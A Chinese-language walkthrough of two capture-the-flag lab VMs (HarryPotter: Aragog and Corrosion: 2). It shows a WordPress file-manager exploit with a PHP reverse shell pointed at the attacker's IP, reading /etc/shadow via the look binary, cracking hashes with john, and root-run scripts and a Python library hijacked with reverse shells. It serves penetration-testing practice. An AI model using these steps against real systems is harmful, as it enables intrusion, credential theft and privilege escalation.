HARRYPOTTER : ARAGOG

修复靶机IP问题

不知道为什么每次Debian的靶机IP都出问题,在这先修复一下

image.png

将图中ro修改成rw signie init=/bin/bash

修改完成后按Ctrl+x键进入bash

先查看当前网卡信息ip a命令

image.png

查看网卡配置文件vi /etc/network/interfaces

image.png

可以看到当前网卡内网卡的名称与实际靶机网卡名称不匹配,看到这里我们就知道是什么原因导致的了。将网卡名称修改为正确的名称,保存退出。

/etc/init.d/networking restart

执行ip a 重新查看

image.png

靶机描述

Aragog is the 1st VM of 3-box HarryPotter VM series in which you need to find 2 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.

Aragog 是 3 盒 HarryPotter VM 系列中的第一个 VM,您需要在其中找到隐藏在机器内的 2 个魂器(哈利波特系列的 3 个 VM 中总共隐藏了 8 个魂器)并最终击败 Voldemort。

信息搜集

目标确认

攻击机kali IP:192.168.93.131

靶机 Debian IP:192.168.93.136

靶机信息搜集

image.png

22端口 & 80端口

image.png

目录扫描

image.png

有一个/blog,看一下,很明显wordpress

image.png

image.png

发现域名 wordpress.aragog.hogwarts/etc/hosts 文件中添加再访问:

image.png

WordPress有专门的漏扫工具WPScan

image.png

但是。。。WPScan现在必须带上--api-token=才能正常扫描漏洞,VPN坏了翻不了墙申请不了token。。。

先借用人家的:

image.png

发现有个远程代码执行漏洞,CVE-2020-25213。

漏洞利用

下载poc

wget https://ypcs.fi/misc/code/pocs/2020-wp-file-manager-v67.py

cat出来看一下用法

image.png

  1. apt-get 安装 python3-requests
  2. 写一个文件名为payload.php 的反弹shell的文件
  3. python3 2020-wp-file-manager-v67.py http://wordpress.aragog.hogwarts/blog/

Kali自带php反弹shell的脚本,我们把它复制到当前文件夹下,并改名为payload.php

image.png

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.93.131';
$port = 2333;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id;sh -i';
$daemon = 0;
$debug = 0;

image.png

image.png

提权

进入系统后,首先我查看了 /home 目录,在 hagrid98 用户下发现了 horcrux1.txt:

image.png

这个一看应该就是base64了吧

image.png

之后我想找一下 wordpress 的配置文件,找一下数据库的用户名密码,查看数据库中有没有可利用信息,wordpress 的配置文件默认命名为 wp-config.php ,find 查找一下:

image.png

查看/etc/wordpress/config-default.php

image.png

登录数据库,首先得获取一个tty shell,不然看不到mysql的输出

python -c 'import pty; pty.spawn("/bin/sh")'

image.png

image.png

找到 hagrid98 用户的密码hash。尝试解密:

image.png

可以去cmd5查一下,也可以去john爆破

image.png

然后我们就能切换用户 hagrid98 用户。

image.png

发现root执行了个 .backup.sh 脚本,既然 root 运行这个脚本,那就写入一个反弹 shell:

image.png

image.png

直接得到了root权限,查看horcrux2.txt

image.png

image.png

提权方法2

有一个辅助提权工具https://github.com/Cerbersec/scripts.git

首先在kali上下好linpeas,在靶机ssh终端下把它复制到/tmp文件夹下

scp kali@192.168.93.131:/home/kali/scripts/linux/linpeas.sh /tmp

image.png

chmod +x ./linpeas.sh
./linpeas.sh

image.png

这里找到一个backup.sh。这个脚本负责复制这个uploads到tmp里面。属于那种隔段时间就会执行的脚本。

用同样的方法下载pspy64看一下执行这个脚本的用户。

chmod +x ./pspy64
./pspy64

image.png

剩下的就和第一个方法相同了。

CORROSION : 2

靶机描述

Difficulty: Medium

Hint: Enumeration is key.

信息搜集

确认目标

攻击机kali IP:192.168.93.131

靶机IP:192.168.93.135

image.png

靶机信息搜集

image.png

目录扫描

image.png

80端口下没有什么有价值的信息。

8080是Apache Tomcat/9.0.53

image.png

image.png

东西不少,看一下:

readme.txt

image.png

嘿 randy!我是你的系统管理员。我在你的服务器上留下了一个文件,我保证没人能找到它。

要记得使用我留给你的密码。

/backup.zip

image.png

攻击开始

登录信息

需要密码?那就爆破一下

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip

image.png

很幸运在tomcat-users.xml中就能找到登录信息

image.png

但是。。。Tomcat不让登录。。。

image.png

Msfconsole利用

msf 上有个 Tomcat 上传webshell的模块,有用户名和密码就可以使用:

image.png

选择载荷,设定信息:

image.png

一发入魂,直接打通:

image.png

输入 shell 后就获得了 Tomcat 用户,查看一下系统文件,发现/home目录下有一些信息

image.png

note.txt 文件里说更改了 randy 对主目录的权限,不能进行删除和添加。

尝试切换用户jaye,密码还是 Tomcat 密码,如果不方便的话,可以用ssh连接登录

image.png

发现一些文件,查看一下,发现 Files 文件夹下有个 look 文件:

image.png

  • 系统look命令:It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

    它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件。

用法:

LFILE=file_to_read
./look '' "$LFILE"

image.png

利用这种方法,可以获取到/etc/shadow,把文件复制下来保存,/etc/passwd也可以在MSF中拿到。

image.png

使用 unshadow 命令生成需要破解的密码:

unshadow passwd shadow > pass.txt

利用john进行破解

john --wordlist=/usr/share/wordlists/rockyou.txt ./pass.txt

image.png

image.png

爆破了好几个小时,爆出来两个用户:

  • melehifokivai (jaye)
  • 07051986randy (randy)

第一个是已知的,登录下第二个:

image.png

提权

image.png

发现不能更改该文件,但是他会用python程序运行,我们直接在python程序 base64 模块里面写入shell,先找到python中的base64脚本:

image.png

发现有权限修改,那我们直接写入shell,vim用不了,用的nano编辑器:

image.png

image.png

因为我改的是 python3.8 ,所以要指明 python3.8 运行 randombase64.py 脚本:

image.png

获得了root权限,查看flag:

image.png